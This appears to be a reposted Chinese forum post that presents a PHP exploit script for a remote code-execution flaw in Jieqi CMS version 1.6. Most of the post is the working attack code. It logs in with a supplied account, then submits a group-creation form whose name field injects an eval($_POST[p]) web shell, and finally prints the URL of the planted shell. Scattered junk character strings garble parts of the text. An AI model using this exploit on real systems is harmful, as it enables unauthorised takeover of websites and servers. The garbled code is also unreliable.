Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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6 N  w. b, D$ @! l, g. f. T该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
2 R; ~. }# [2 X/ N 需要有一个能创建圈子的用户。

6 q" |& B4 |8 h<?php
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7 E7 x* G; _6 M" }print_r('
4 i  _* p" {/ c, A: H: V( U* H7 P! B+---------------------------------------------------------------------------+
! Y! R% _+ P$ U; M* ~/ e4 n3 |, HJieqi CMS V1.6 PHP Code Injection Exploit
( x1 m& z3 Q6 S7 Y8 uby flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
/ |% i& v, U2 f. T1 n*/ if ($argc < 5) { print_r('
* p9 j( `- N; J- _) B+---------------------------------------------------------------------------+
$ G3 `0 ]( i; o( Y& xUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
2 L$ E2 W0 @% o, U, O: p- X# auasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
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4 Q% r1 `9 z! ~. l* O! f* [/ l'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
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'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
: M* n" c2 W! _) P  h. ?-----------------------------23281168279961
5 l8 Y8 l$ H* v- x! bContent-Disposition: form-data; name="gcatid"
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1
-----------------------------23281168279961
; Q+ q$ c+ p8 F; oContent-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
3 |  E. l* Q' E5 g% e0 j2 B9 IContent-Disposition: form-data; name="gbrief"
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1
-----------------------------23281168279961--
3 H( \! R" n+ \) O4 Y/ q2 i% h! p'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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0 I" M+ W/ l7 S8 U- ]9 Opreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;